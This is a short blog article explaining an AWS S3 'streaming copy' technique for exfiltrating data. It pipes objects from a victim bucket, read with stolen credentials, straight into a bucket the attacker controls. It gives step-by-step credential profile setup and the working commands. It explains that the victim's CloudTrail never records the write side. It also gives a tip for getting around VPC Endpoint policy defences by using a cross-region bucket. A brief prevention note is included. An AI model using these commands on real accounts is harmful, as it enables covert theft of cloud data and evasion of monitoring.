Skip to content

Article by Houston Hopkins.

S3 Streaming Copy

Shout Out to Janardhan Prabhakara for showing me this all those years ago!

Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

Why would anyone use this?

In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

aws_access_key_id = <attacker_key_id>
aws_secret_access_key = <attacker_secret_key>

Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.


This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

aws_access_key_id = <victim_key_id>
aws_secret_access_key = <victim_secret_key>

Step 3: example: S3 Stream Copy command for a single file from cli

aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )

Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile

aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )

Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.

This is becoming more common with the popularity of Data Perimeter guardrails


If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.